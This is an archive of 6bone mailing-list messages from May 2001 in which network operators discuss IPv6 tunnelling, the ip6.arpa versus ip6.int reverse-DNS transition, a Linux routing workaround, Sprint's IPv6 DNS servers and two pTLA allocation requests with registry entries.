From hal@vailsys.com Tue May 1 05:49:27 2001 From: hal@vailsys.com (Hal Snyder) Date: 30 Apr 2001 23:49:27 -0500 Subject: 6bone contact request In-Reply-To: Hal Snyder's message of "15 Sep 2000 14:17:58 -0500" Message-ID: <87wv81llm0.fsf@ghidra.vail> Our previous contact seems off the air, so here goes again - Per the instructions at http://www.6bone.net/6bone_hookup.html, I'm turning to this list to request a 6bone pTLA/pNLA transit for Vail Systems. We are based in Chicago, connecting to Internet via Level3 and Qwest. Would like to try BGP4+ multihoming with dual transits a la rfc2260 - http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-ipv6-2260-01.txt Thank you. From benc@hawaga.org.uk Wed May 2 13:14:41 2001 From: benc@hawaga.org.uk (Ben Clifford) Date: Wed, 2 May 2001 12:14:41 +0000 (UTC) Subject: ip6.arpa Message-ID: Is ip6.arpa deployed yet? I can't seem to get any reverse lookups to work using /usr/bin/host supplied with bind-9.1.1 unless I use the ip.int nibble based option. Ben -- http://www.hawaga.org.uk/travel/ for my rotating world map applet http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! From se04839@salleURL.edu Wed May 2 18:44:20 2001 From: se04839@salleURL.edu (Julio Aparicio Varela) Date: Wed, 2 May 2001 17:44:20 +0000 (UCT) Subject: ROUTING IPv6 Message-ID: I am new in this affair, so my excuses if I am saying nonsenses, but is there any way to make a connection with the 6bone without tunneling IPv6 in IPv4?, I mean, is there any straight way to connect or to make sure that mid-routers work in IPv6? Thanx "No necesito amigos que cambien cuando yo cambio y asientan cuando yo asienta. Mi sombra lo hace mejor". Plutarco, escritor griego (50-125). ------------------------------------------------------------------------------- Julio Aparicio Varela E-MAIL: se04839@salleurl.edu WEB PAGE: http://www.salleurl.edu/~se04839 ICQ NUMBER: ------------------------------------------------------------------------------- From fink@es.net Wed May 2 17:27:02 2001 From: fink@es.net (Bob Fink) Date: Wed, 02 May 2001 09:27:02 -0700 Subject: ROUTING IPv6 In-Reply-To: Message-ID: <5.0.2.1.0.20010502091309.094ef810@imap2.es.net> Julio, At 05:44 PM 5/2/2001 +0000, Julio Aparicio Varela wrote: >I am new in this affair, so my excuses if I am saying nonsenses, but is >there any way to make a connection with the 6bone without tunneling IPv6 >in IPv4?, I mean, is there any straight way to connect or to make sure >that mid-routers work in IPv6? There is no requirement that folk participating in the 6bone use manually configured tunnelling. At this time there are some (many?) native IPv6 links, and also some automatically configured tunnelling using the 6to4 mechanism (which isn't under the 6bone space at all as it has its own prefix). As for a straight(forward) way to connect, it is either a matter of searching for and/or asking via the 6bone list for folks to host you with manually configured tunnels, or use 6to4 (see the link on the 6bone.net home page). There is no real easy way to make sure mid-routers work when you are tunnelling. As with any network, you end up relying on the reputation (and results you get in practice) of the ISPs you choose. It is one of the reasons folk carefully look at the paths, proximity and performance of 6bone pTLA's they choose. Unfortunately this is not an easy task and getting pTLA's to host you is not too easy either. It is one of the reasons that 6to4 will be popular in the opinion of many of us as we move along in migration to IPv6. Bob From rrockell@sprint.net Wed May 2 18:02:11 2001 From: rrockell@sprint.net (Robert J. Rockell) Date: Wed, 2 May 2001 13:02:11 -0400 (EDT) Subject: ROUTING IPv6B In-Reply-To: <5.0.2.1.0.20010502091309.094ef810@imap2.es.net> Message-ID: ->Unfortunately this is not an easy task and ->getting pTLA's to host you is not too easy either. Isn't this an implied reason to grant pTLA status to an organization? If this is true, I would like to see pTLA status revoked for those who want address space, but don't do any ipv6 work... How to quantify, however, is another story.... I will give tunnels to any and all comers (your ping time should be under a second). 208.19.223.30 is the v4 endpoint. ->that 6to4 will be popular in the opinion of many of us as we move along in ->migration to IPv6. -> -> ->Bob -> From fink@es.net Wed May 2 18:26:40 2001 From: fink@es.net (Bob Fink) Date: Wed, 02 May 2001 10:26:40 -0700 Subject: ROUTING IPv6B In-Reply-To: References: <5.0.2.1.0.20010502091309.094ef810@imap2.es.net> Message-ID: <5.0.2.1.0.20010502101855.0950d750@imap2.es.net> Rob, At 01:02 PM 5/2/2001 -0400, Robert J. Rockell wrote: >->Unfortunately this is not an easy task and >->getting pTLA's to host you is not too easy either. > >Isn't this an implied reason to grant pTLA status to an organization? If >this is true, I would like to see pTLA status revoked for those who want >address space, but don't do any ipv6 work... There is not a requirement for a pTLA to grant tunnel access to whomever wants it. Many pTLA's are in the business of supporting their own user community (my network, ESnet, is one), hence the requirement for becoming a pTLA that you have some user community to serve. I don't really know of any pTLA that doesn't do any IPv6 work. There are certainly sites that once active in v6 have gone dormant. Some have even turned their pTLA in voluntarily. >How to quantify, however, is another story.... Certainly true. From the 6bone intro: "The initial 6bone focus was on testing of standards and implementations, while the current focus is more on testing of transition and operational procedures." Unstated here, but important as well, is that we encourage networks and sites to get early experience with IPv6. Becoming too sticky about all this isn't going to encourage people to join the 6bone. >I will give tunnels to any and all comers (your ping time should be under a >second). 208.19.223.30 is the v4 endpoint. Good. Thanks, Bob From se04839@salleURL.edu Wed May 2 20:48:32 2001 From: se04839@salleURL.edu (Julio Aparicio Varela) Date: Wed, 2 May 2001 19:48:32 +0000 (UCT) Subject: ROUTING IPv6 In-Reply-To: <5.0.2.1.0.20010502091309.094ef810@imap2.es.net> Message-ID: On Wed, 2 May 2001, Bob Fink wrote: > There is no requirement that folk participating in the 6bone use manually > configured tunnelling. At this time there are some (many?) native IPv6 > links, and also some automatically configured tunnelling using the 6to4 > mechanism (which isn't under the 6bone space at all as it has its own prefix). > Where can I find those native IPv6 links? 6to4, as I have understood, isn't a straight-IPv4-tunneling way? Thanx Bob. "No necesito amigos que cambien cuando yo cambio y asientan cuando yo asienta. Mi sombra lo hace mejor". Plutarco, escritor griego (50-125). ------------------------------------------------------------------------------- Julio Aparicio Varela E-MAIL: se04839@salleurl.edu WEB PAGE: http://www.salleurl.edu/~se04839 ICQ NUMBER: ------------------------------------------------------------------------------- From fink@es.net Wed May 2 19:35:16 2001 From: fink@es.net (Bob Fink) Date: Wed, 02 May 2001 11:35:16 -0700 Subject: ROUTING IPv6 In-Reply-To: References: <5.0.2.1.0.20010502091309.094ef810@imap2.es.net> Message-ID: <5.0.2.1.0.20010502113005.09534d18@imap2.es.net> Julio, At 07:48 PM 5/2/2001 +0000, Julio Aparicio Varela wrote: >On Wed, 2 May 2001, Bob Fink wrote: > > > There is no requirement that folk participating in the 6bone use manually > > configured tunnelling. At this time there are some (many?) native IPv6 > > links, and also some automatically configured tunnelling using the 6to4 > > mechanism (which isn't under the 6bone space at all as it has its own > prefix). > > > >Where can I find those native IPv6 links? You don't get to know that easily, just as you don't get to know if an ISP is using ATM or MPLS or SONET etc. For the 6bone, it is best to ask the list. But don't get the impression there are lots of native paths to choose from, there aren't. I believe Japan has many. Our network (ESnet) does IPv6 over ATM. >6to4, as I have understood, isn't a straight-IPv4-tunneling way? 6to4 is all about tunnelling. From the RFC 3056 "Connection of IPv6 Domains via IPv4 Clouds" abstract: >Abstract > > This memo specifies an optional interim mechanism for IPv6 sites to > communicate with each other over the IPv4 network without explicit > tunnel setup, and for them to communicate with native IPv6 domains > via relay routers. Effectively it treats the wide area IPv4 network > as a unicast point-to-point link layer. The mechanism is intended as > a start-up transition tool used during the period of co-existence of > IPv4 and IPv6. It is not intended as a permanent solution. > > The document defines a method for assigning an interim unique IPv6 > address prefix to any site that currently has at least one globally > unique IPv4 address, and specifies an encapsulation mechanism for > transmitting IPv6 packets using such a prefix over the global IPv4 > network. > > The motivation for this method is to allow isolated IPv6 domains or > hosts, attached to an IPv4 network which has no native IPv6 support, > to communicate with other such IPv6 domains or hosts with minimal > manual configuration, before they can obtain natuve IPv6 > connectivity. It incidentally provides an interim globally unique > IPv6 address prefix to any site with at least one globally unique > IPv4 address, even if combined with an IPv4 Network Address > Translator (NAT). Regards, Bob From kristoff.bonne@skypro.be Wed May 2 20:45:49 2001 From: kristoff.bonne@skypro.be (Kristoff Bonne) Date: Wed, 2 May 2001 21:45:49 +0200 (CEST) Subject: ip6.arpa In-Reply-To: Message-ID: Greetings, On Wed, 2 May 2001, Ben Clifford wrote: > Is ip6.arpa deployed yet? > I can't seem to get any reverse lookups to work using /usr/bin/host > supplied with bind-9.1.1 unless I use the ip.int nibble based option. I guess you talk about the 'reverse DNS' for the IPv6 domain. It's ip6.int. (not .arpa.) Cheerio! Kr. Bonne. -- KB905-RIPE Belgacom IP networking (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) Internet, IP and IP/VPN kristoff.bonne@skypro.be Faxbox : +32 2 2435122 From benc@hawaga.org.uk Wed May 2 21:15:03 2001 From: benc@hawaga.org.uk (Ben Clifford) Date: Wed, 2 May 2001 20:15:03 +0000 (UTC) Subject: ip6.arpa In-Reply-To: Message-ID: On Wed, 2 May 2001, Kristoff Bonne wrote: > > I can't seem to get any reverse lookups to work using /usr/bin/host > > supplied with bind-9.1.1 unless I use the ip.int nibble based option. > I guess you talk about the 'reverse DNS' for the IPv6 domain. It's > ip6.int. (not .arpa.) I can get ip6.int reverse resolution without any problem. I was referring to the new ip6.arpa reverse resolution which BIND v9 can do, which has different features: such as delegation on any bit boundaries, not just nibbles and the ability to share the same reverse lookup zones between multiple prefixes. See rfcs 2874, 2672, 2673. It doesn't seem to have been set up yet. -- http://www.hawaga.org.uk/travel/ for my rotating world map applet http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! From bmanning@ISI.EDU Thu May 3 10:46:37 2001 From: bmanning@ISI.EDU (Bill Manning) Date: Thu, 3 May 2001 02:46:37 -0700 (PDT) Subject: ip6.arpa In-Reply-To: from "Ben Clifford" at May 02, 2001 12:14:41 PM Message-ID: <200105030946.f439kbI21971@zed.isi.edu> not yet. still using ip6.int. % % % Is ip6.arpa deployed yet? % % I can't seem to get any reverse lookups to work using /usr/bin/host % supplied with bind-9.1.1 unless I use the ip.int nibble based option. % % % Ben % % -- % http://www.hawaga.org.uk/travel/ for my rotating world map applet % http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! % -- --bill From bmanning@ISI.EDU Thu May 3 10:56:10 2001 From: bmanning@ISI.EDU (Bill Manning) Date: Thu, 3 May 2001 02:56:10 -0700 (PDT) Subject: ip6.arpa In-Reply-To: from "Ben Clifford" at May 02, 2001 08:15:03 PM Message-ID: <200105030956.f439uAk21995@zed.isi.edu> % % I can get ip6.int reverse resolution without any problem. % % I was referring to the new ip6.arpa reverse resolution which BIND v9 can % do, which has different features: such as delegation on any bit % boundaries, not just nibbles and the ability to share the same reverse % lookup zones between multiple prefixes. % % See rfcs 2874, 2672, 2673. % % It doesn't seem to have been set up yet. Nope. it has not. But you can do all that stuff in the ip6.int tree. % % -- % http://www.hawaga.org.uk/travel/ for my rotating world map applet % http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! % % % % -- --bill From psb@ast.cam.ac.uk Thu May 3 12:22:29 2001 From: psb@ast.cam.ac.uk (Peter Bunclark) Date: Thu, 3 May 2001 12:22:29 +0100 (BST) Subject: ip6.arpa In-Reply-To: <200105030946.f439kbI21971@zed.isi.edu> Message-ID: On Thu, 3 May 2001, Bill Manning wrote: > not yet. still using ip6.int. > One senses an undercurrent of politics. The docs glowingly state how ip6.int is the way forward (eg in the ARM doc: ``While the use of nibble format to look up names is deprecated, it is supported for backwards compatiblity with existing IPv6 applications''), but there's no sign of it actually happening. Bit of a conflict there if the only method in service is deprecated. Pete. From jerl.simpson@joplin.com Thu May 3 14:27:58 2001 From: jerl.simpson@joplin.com (Jerl Simpson) Date: Thu, 03 May 2001 08:27:58 -0500 Subject: ip6.arpa References: <200105030956.f439uAk21995@zed.isi.edu> Message-ID: <3AF15CDE.6EC25FA0@joplin.com> how do i get off this list?

Bill Manning wrote:

%
% I can get ip6.int reverse resolution without any problem.
%
% I was referring to the new ip6.arpa reverse resolution which BIND v9 can
% do, which has different features: such as delegation on any bit
% boundaries, not just nibbles and the ability to share the same reverse
% lookup zones between multiple prefixes.
%
% See rfcs 2874, 2672, 2673.
%
% It doesn't seem to have been set up yet.

        Nope. it has not.  But you can do all that stuff
        in the ip6.int tree.
%
% --
% http://www.hawaga.org.uk/travel/ for my rotating world map applet
% http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!
%
%
%
%

--
--bill

-- 
Jerl Simpson
CIO -- CISTEK Consulting
---
The box said for Windows95 or better;
I installed linux.
  From bmanning@ISI.EDU Thu May 3 15:22:13 2001 From: bmanning@ISI.EDU (Bill Manning) Date: Thu, 3 May 2001 07:22:13 -0700 (PDT) Subject: ip6.arpa In-Reply-To: from "Peter Bunclark" at May 03, 2001 12:22:29 PM Message-ID: <200105031422.f43EMDG22792@zed.isi.edu> % % On Thu, 3 May 2001, Bill Manning wrote: % % > not yet. still using ip6.int. % > % One senses an undercurrent of politics. The docs glowingly state how % ip6.int is the way forward (eg in the ARM doc: ``While the use of % nibble format to look up names is deprecated, it is supported for % backwards compatiblity with existing IPv6 applications''), but there's no % sign of it actually happening. % % Bit of a conflict there if the only method in service is deprecated. % % Pete. % No!!! not politics! Someone wrote a draft that became an RFC that stated: "the previous method is depricated by this one", hence the statements in ARM et.al. Of course there was the minor oversight in dealing w/ the: ) the deployed based ) lack of tools to effectivly use the new format Hum.... (note that two years after CIDR effectivly squashed RIPv1, the IETF published a document formally depricating RIPv1. And it still has broad use.) I guess the lesson here is that just 'cause someone says something doen't make it so. -- --bill From benc@hawaga.org.uk Thu May 3 16:32:26 2001 From: benc@hawaga.org.uk (Ben Clifford) Date: Thu, 3 May 2001 15:32:26 +0000 (UTC) Subject: ip6.arpa In-Reply-To: Message-ID: On Thu, 3 May 2001, Peter Bunclark wrote: > One senses an undercurrent of politics. The docs glowingly state how > ip6.int is the way forward (eg in the ARM doc: ``While the use of > nibble format to look up names is deprecated, it is supported for > backwards compatiblity with existing IPv6 applications''), but there's no > sign of it actually happening. > > Bit of a conflict there if the only method in service is deprecated. It seems to be that way for A6 as well - BIND support for it, and not much else, and not much motivation to change at the moment. -- http://www.hawaga.org.uk/travel/ for my rotating world map applet http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! From kre@munnari.OZ.AU Fri May 4 10:01:17 2001 From: kre@munnari.OZ.AU (Robert Elz) Date: Fri, 04 May 2001 16:01:17 +0700 Subject: ip6.arpa In-Reply-To: <200105031422.f43EMDG22792@zed.isi.edu> References: <200105031422.f43EMDG22792@zed.isi.edu> Message-ID: <3564.988966877@brandenburg.cs.mu.OZ.AU> Date: Thu, 3 May 2001 07:22:13 -0700 (PDT) From: Bill Manning Message-ID: <200105031422.f43EMDG22792@zed.isi.edu> | No!!! not politics! Yes, it is politics. As you said in an earlier reply, you can do DNAME, bit string labels, etc, in ip6.int (or any other domain). Similarly, you could do a.b.c.d.e.f..... PTR lookups in ip6.arpa. There was a decision made (100% political) to switch from ip6.int to ip6.arpa - and BIND respected that decision in their implementation. But no-one has bothered to actually delegate ip6.arpa, which really is a pre-requisite for any kind of use of it at all (with any kind of lookups). | Someone wrote a draft that became an RFC that stated: "the previous method | is depricated by this one", hence the statements in ARM et.al. Of course | there was the minor oversight in dealing w/ the: | ) the deployed based | ) lack of tools to effectivly use the new format All that might explain why DNAME, etc, aren't used much. Another (additional) explanation might be that it has been made needlessly difficult by people (which certainly wasn't the DNAME (etc) inventors, or the ipngwg or dnsext working groups (or ngtrans either)) who insisted that the domain should be changed (perhaps for good reason), but then didn't arrange to make sure that the new one was actually ready to be used by anyone wanting to try it. I mean, this query was sparked by exactly that - someone who wants to try it, that is, to become part of a new deployed base, and perhaps either work around the lack of tools, or build some, but is being stymied by the lack of the defined domain in which to actually do the work. | I guess the lesson here is that just 'cause someone says | something doen't make it so. No. But what really hurts is when someone says something, then does nothing at all to make what they said possible. Perhaps ipngwg should simply publish revised versions of those specs which move back to using ip6.int rather than ip6.arpa, given that the latter simply doesn't exist (just treat the reference to ip6.arpa as a bug in the specification that has to be fixed). And while we're waiting, updating BIND (and anything else that is able to do new stlye IPv6 reverse lookups) to use ip6.int instead of ip6.arpa can't be very hard... kre From Joop.Joosten@cern.ch Fri May 4 11:04:01 2001 From: Joop.Joosten@cern.ch (Joop Joosten) Date: Fri, 4 May 2001 12:04:01 +0200 (MET DST) Subject: reverse nslookup Message-ID: Hi all, I found on the web several sites that resolve a name in an IPv6 address. However, I did not find anywhere a place that allows me to resolve an IPv6 address in a name. Such a "service" would allow me to check if the reverse delegation is functioning. Can anybody give me a pointer to such a facility? Thanks, Joop. +-----------------------------------------------------------------------+ | Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland | |Tel: +41 22 767 3361; Fax: +41 22 767 7155; E-M: Joop.Joosten@cern.ch| +-----------------------------------------------------------------------+ From benc@hawaga.org.uk Fri May 4 18:54:28 2001 From: benc@hawaga.org.uk (Ben Clifford) Date: Fri, 4 May 2001 17:54:28 +0000 (UTC) Subject: puzzling routing problem... Message-ID: I have installed trumpet winsock on a Win 95 box on my ethernet, and pointed it at my linux box which also has a tunnel connection. >From the W95 box, I can't ping any IPv6 addresses further than the far end of my tunnel link - my linux box sends back ICMPv6 unreachable address messages for each ping. *unless* I also ping that address from the linux box, in which case the ping works from my laptop up until exactly 10 seconds after I stop the ping on the linux box. It feels to me like there is some form of route calculation/caching which is (not) happening, but I don't know enough about the guts of IPv6 and it's linux implementation to work it out. Any clues? Thanks, Ben -- http://www.hawaga.org.uk/travel/ for my rotating world map applet http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! From david.greaves@idl-bt.com Tue May 8 09:30:03 2001 From: david.greaves@idl-bt.com (david.greaves@idl-bt.com) Date: Tue, 8 May 2001 09:30:03 +0100 Subject: puzzling routing problem... Message-ID: <71DA16F18D32D2119A1D0000F8FE9A940D313FFE@mbtlipnt01.btlabs.bt.co.uk> as a workaround try: ip route add ::/1 via dev on the router. I don't know why this happens either. David Greaves -- Internet Designers Limited - a BT company Mobile: 07740 824106 IDL intranet site http://intranet.idl.bt.co.uk/ External web site http://www.internet-designers.net/ > -----Original Message----- > From: Ben Clifford [mailto:benc@hawaga.org.uk] > Sent: 04 May 2001 18:54 > To: 6bone@ISI.EDU > Subject: puzzling routing problem... > > > > I have installed trumpet winsock on a Win 95 box on my ethernet, and > pointed it at my linux box which also has a tunnel connection. > > From the W95 box, I can't ping any IPv6 addresses further > than the far end > of my tunnel link - my linux box sends back ICMPv6 unreachable address > messages for each ping. > > *unless* I also ping that address from the linux box, in > which case the > ping works from my laptop up until exactly 10 seconds after I stop the > ping on the linux box. > > It feels to me like there is some form of route > calculation/caching which > is (not) happening, but I don't know enough about the guts of IPv6 and > it's linux implementation to work it out. > > Any clues? > > Thanks, > Ben > > -- > http://www.hawaga.org.uk/travel/ for my rotating world map applet > http://www.hawaga.org.uk/benc_key.txt PGP / GPG key > 0x30F06950 - please use it! > From benc@hawaga.org.uk Tue May 8 15:18:58 2001 From: benc@hawaga.org.uk (Ben Clifford) Date: Tue, 8 May 2001 14:18:58 +0000 (UTC) Subject: puzzling routing problem... In-Reply-To: <71DA16F18D32D2119A1D0000F8FE9A940D313FFE@mbtlipnt01.btlabs.bt.co.uk> Message-ID: > as a workaround try: > ip route add ::/1 via dev > on the router. > > I don't know why this happens either. Great, that works a treat. -- http://www.hawaga.org.uk/travel/ for my rotating world map applet http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it! From rrockell@sprint.net Tue May 8 20:15:22 2001 From: rrockell@sprint.net (Robert J. Rockell) Date: Tue, 8 May 2001 15:15:22 -0400 (EDT) Subject: Sprint DNS announcement Message-ID: For those of you using Sprint's V6 DNS service, we now have native IPv6 service for DNS lookups. ns1.sprintv6.net and ns2.sprintv6.net are now answering queries for IPv6 over both protocols. ns1.sprintv6.net. 63.167.40.5 2001:440:1239:1001::2 ns2.sprintv6.net. 208.11.232.29 2001:440:1239:1001::3 Both sit on the same IPv6 lan for now, but this will be changed going forward within 1-2 weeks, as we diversify. Enjoy. V4 addresses will follow them, but ns1.sprintv6.net's ipv6 address will change in a week or two. Sprint IPv6 customer who wish to have their zones delegated to them, please send us mail, and we will do so. sorry for the plug to those not sprint customers. Thanks Rob Rockell Principal Engineer SprintLink Europe/Asia 703-689-6322 Sprint E|Solutions: Thinking outside the 435 box ----------------------------------------------------------------------- From horape@tinuviel.compendium.net.ar Tue May 8 21:54:09 2001 From: horape@tinuviel.compendium.net.ar (horape@tinuviel.compendium.net.ar) Date: Tue, 8 May 2001 17:54:09 -0300 Subject: Sprint DNS announcement In-Reply-To: ; from rrockell@sprint.net on Tue, May 08, 2001 at 03:15:22PM -0400 References: Message-ID: <20010508175409.A18122@tinuviel.compendium.net.ar> ¡Hola! Just to remember you to delegate 1.a.9.2.e.f.f.3.ip6.int to 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS puntoar-sgi01.puntoar.net.ar. 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS alatariel.puntoar.net.ar. 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS tinuviel.compendium.com.ar. 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS lutien.compendium.com.ar. Thanks, HoraPe On Tue, May 08, 2001 at 03:15:22PM -0400, Robert J. Rockell wrote: > For those of you using Sprint's V6 DNS service, we now have native IPv6 > service for DNS lookups. ns1.sprintv6.net and ns2.sprintv6.net are now > answering queries for IPv6 over both protocols. > > ns1.sprintv6.net. > 63.167.40.5 > 2001:440:1239:1001::2 > > ns2.sprintv6.net. > 208.11.232.29 > 2001:440:1239:1001::3 > > Both sit on the same IPv6 lan for now, but this will be changed going > forward within 1-2 weeks, as we diversify. Enjoy. V4 addresses will follow > them, but ns1.sprintv6.net's ipv6 address will change in a week or two. > > Sprint IPv6 customer who wish to have their zones delegated to them, please > send us mail, and we will do so. > > sorry for the plug to those not sprint customers. > > > Thanks > Rob Rockell > Principal Engineer > SprintLink Europe/Asia > 703-689-6322 > Sprint E|Solutions: Thinking outside the 435 box > ----------------------------------------------------------------------- > -- HoraPe --- Horacio J. Peña horape@compendium.com.ar horape@uninet.edu bofh@puntoar.net.ar horape@hcdn.gov.ar From fink@es.net Tue May 8 22:21:10 2001 From: fink@es.net (Bob Fink) Date: Tue, 08 May 2001 14:21:10 -0700 Subject: pTLA request for CYBERNET (www.eurocyber.net) - review closes 22 May 2001 Message-ID: <5.0.2.1.0.20010508141448.027e7cb8@imap2.es.net> 6bone Folk, CYBERNET (www.eurocyber.net) has requested a pTLA allocation. The open review period for this will close 22 May 2001. Please send your comments to me or the list. Thanks, Bob === >Date: Mon, 7 May 2001 22:20:50 +0200 >From: Robert Blechinger >To: fink@es.net >Cc: 6bone@cybernet-ag.net >Subject: Requesting a pTLA > >Hi Bob, > >My name is Robert Blechinger. I'm working for an ISP in germany called >Cybernet. >-> http://www.cybernet.de >The reason for contacting you is, that i want to request a pTLA. >On the 6bone website stands that i have to write you the guidelins back. > >Regards Robert Blechinger > >Cybernet AG - NOC >email: rblechinger@cybernet-ag.net >Phone: +49 89 99315 - 116 >Fax: +49 89 99315 - 199 > > > ><----------------------------------------------------------------------------------> > >7. Guidelines for 6Bone pTLA sites > > > > The following rules apply to qualify for a 6Bone pTLA allocation. It > > should be recognized that holders of 6Bone pTLA allocations are > > expected to provide production quality backbone network services for > > the 6Bone. > > > > 1. The pTLA Applicant must have a minimum of three (3) months > > qualifying experience as a 6Bone end-site or pNLA transit. During > > the entire qualifying period the Applicant must be operationally > > providing the following: > > We are online since 25. Januar 2001 over JOIN. > > > > > a. Fully maintained, up to date, 6Bone Registry entries for their > > ipv6-site inet6num, mntner, and person objects, including each > > tunnel that the Applicant has. > >Look at: >inet6num: 3FFE:400:7B0::/48 >netname: CYBERNET >descr: 6bone NLA delegation assigned by pTLA JOIN >country: DE >admin-c: LUKE-RIPE >tech-c: LUKE-RIPE >mnt-by: CYBERNET-MNT >changed: rblechinger@cybernet-ag.net 20010125 >source: 6BONE > >ipv6-site: CYBERNET >origin: AS8379 >descr: Cybernet AG > Stefan-George-Ring 19-23 > 81929 Muenchen >location: 48 09 00 N 11 45 0 E 500m >country: DE >prefix: 3FFE:400:7B0::/48 >application: ping 6bone-hst.muc.ipv6.eurocyber.net >application: ping sarah-hst.muc.ipv6.eurocyber.net >application: http www.ipv6.eurocyber.net >tunnel: IPv6 in IPv4 6bone-hst.muc.eurocyber.net -> >6bone.uni-muenster.de JOIN STATIC >contact: LUKE-RIPE >contact: AM2120-RIPE >notify: 6bone@cybernet-ag.net >mnt-by: CYBERNET-MNT >changed: rblechinger@cybernet-ag.net 20010130 >changed: rblechinger@cybernet-ag.net 20010131 >changed: rblechinger@cybernet-ag.net 20010228 >changed: rblechinger@cybernet-ag.net 20010502 >source: 6BONE > > > > > > b. Fully maintained, and reliable, BGP4+ peering and connectivity > > between the Applicant's boundary router and the appropriate > > connection point into the 6Bone. This router must be IPv6 > > pingable. This criteria is judged by members of the 6Bone > > Operations Group at the time of the Applicant's pTLA request. > >We ( Cybernet, Join) made the compromise that a bgp session with an end >node makes no sense, as both sides filter every >thing out, so that a simple tunnel makes more sense. >Cybernet AG (AS8379) has been active at multiple peering points since the >beginning of 1997, >and we are hoping that our IPv4 BGP4 peering experience will suffice. See >our AS Object >for details. Should this not be the case please contact us, so that we can >set up our >session with 'Join'. > > > > > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int) > > entries for the Applicant's router(s) and at least one host > > system. > >Yes. ns.muc.eurocyber.net and ns.fra.eurocyber.net do this work fine. >0.b.7.0.0.0.4.0.e.f.f.3.IP6.INT is loaded ( reverse zone from our /48 we >got from Join ) > > > d. A fully maintained, and reliable, IPv6-accessible system > > providing, at a mimimum, one or more web pages, describing the > > Applicant's IPv6 services. This server must be IPv6 pingable. > >Yes, visit www.ivp6.eurocyber.net ( or IPv6: >sarah-hst.muc.ipv6.eurocyber.net IPv4: sarah-hst.muc.eurocyber.net). >There is a monitoring system, mrtg statistics and some networkplans on it. > > > > > 2. The pTLA Applicant MUST have the ability and intent to provide > > "production-quality" 6Bone backbone service. Applicants must > > provide a statement and information in support of this claim. > > This MUST include the following: > > > > a. A support staff of two persons minimum, three preferable, with > > person attributes registered for each in the ipv6-site object > > for the pTLA applicant. > >LUKE-RIPE ( me ) >AM2120-RIPE > > > > b. A common mailbox for support contact purposes that all support > > staff have acess to, pointed to with a notify attribute in the > > ipv6-site object for the pTLA Applicant. > >6bone@cybernet-ag.net > > > > > 3. The pTLA Applicant MUST have a potential "user community" that > > would be served by its becoming a pTLA, e.g., the Applicant is a > > major provider of Internet service in a region, country, or focus > > of interest. Applicant must provide a statement and information in > > support this claim. > >Cybernet AG is a european based provider with pops in Germany, Italy, Austria >and Switzerland. For a list of customers, please examine our IPv4 blocks, >ie: 195.143.0.0/16 > > > > > 4. The pTLA Applicant MUST commit to abide by the current 6Bone > > operational rules and policies as they exist at time of its > > application, and agree to abide by future 6Bone backbone > > operational rules and policies as they evolve by consensus of the > > 6Bone backbone and user community. > >We, Cybernet AG, commit to this point. -end From fink@es.net Tue May 8 22:14:42 2001 From: fink@es.net (Bob Fink) Date: Tue, 08 May 2001 14:14:42 -0700 Subject: pTLA request for FBDC (www.freebit.net) - review closes 22 May 2001 Message-ID: <5.0.2.1.0.20010508140719.00ab01c8@imap2.es.net> 6bone Folk, FBDC (www.freebit.net) has requested a pTLA allocation. The open review period for this will close 22 May 2001. Please send your comments to me or the list. Thanks, Bob === >At 03:22 AM 5/1/2001 +0900, IWAIZAKO Takahiro wrote: >Dear Bob, > > We have connected 6bone a year ago by tunnel connectivity. >The next week, we will have native connectivity with other ASes >using BGP4+ at NSPIXP6(Tokyo, Japan). So please allocate for us pTLA >addresses. > > From RFC 2772 > >7. Guidelines for 6Bone pTLA sites > > The following rules apply to qualify for a 6Bone pTLA allocation. It > should be recognized that holders of 6Bone pTLA allocations are > expected to provide production quality backbone network services for > the 6Bone. > > 1. The pTLA Applicant must have a minimum of three (3) months > qualifying experience as a 6Bone end-site or pNLA transit. During > the entire qualifying period the Applicant must be operationally > providing the following: > > We have a year experience as a 6Bone end-site. > > a. Fully maintained, up to date, 6Bone Registry entries for their > ipv6-site inet6num, mntner, and person objects, including each > tunnel that the Applicant has. > >inet6num: 3FFE:8085::/32 >netname: FBDC >descr: NLA1 delegation for the 6bone >country: JP >admin-c: TI199 >admin-c: WY1-6BONE >tech-c: TI199 >tech-c: WY1-6BONE >rev-srv: NS1.FreeBit.NET >rev-srv: NS2.FreeBit.NET >notify: noc@FreeBit.NET >mnt-by: MNT-FBDC >changed: rabit@FreeBit.NET 20010430 >source: 6BONE > >ipv6-site: FBDC >origin: AS10013 >descr: FreeBit.Com >country: JP >prefix: 3FFE:8085::/32 >application: http www.FreeBit.Com >application: ping v6-router.Ot.FreeBit.NET >tunnel: IPv6 in IPv4 v6-router.Ot.FreeBit.NET -> ix6.otemachi.dti.ad.jp >DTI BGP4+ >contact: TI199 >contact: WY1-6BONE >url: http://www.FreeBit.Com/ >notify: noc@FreeBit.NET >mnt-by: MNT-FBDC >changed: rabit@FreeBit.NET 20010430 >changed: rabit@FreeBit.NET 20010430 >changed: rabit@FreeBit.NET 20010503 >source: 6BONE > > b. Fully maintained, and reliable, BGP4+ peering and connectivity > between the Applicant's boundary router and the appropriate > connection point into the 6Bone. This router must be IPv6 > pingable. This criteria is judged by members of the 6Bone > Operations Group at the time of the Applicant's pTLA request. > >tunnel: IPv6 in IPv4 v6-router.Ot.FreeBit.NET -> ix6.otemachi.dti.ad.jp >DTI BGP4+ > > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int) > entries for the Applicant's router(s) and at least one host > system. > > > set q=any > > v6-router.Ot.FreeBit.NET >Server: NS2.FreeBit.NET 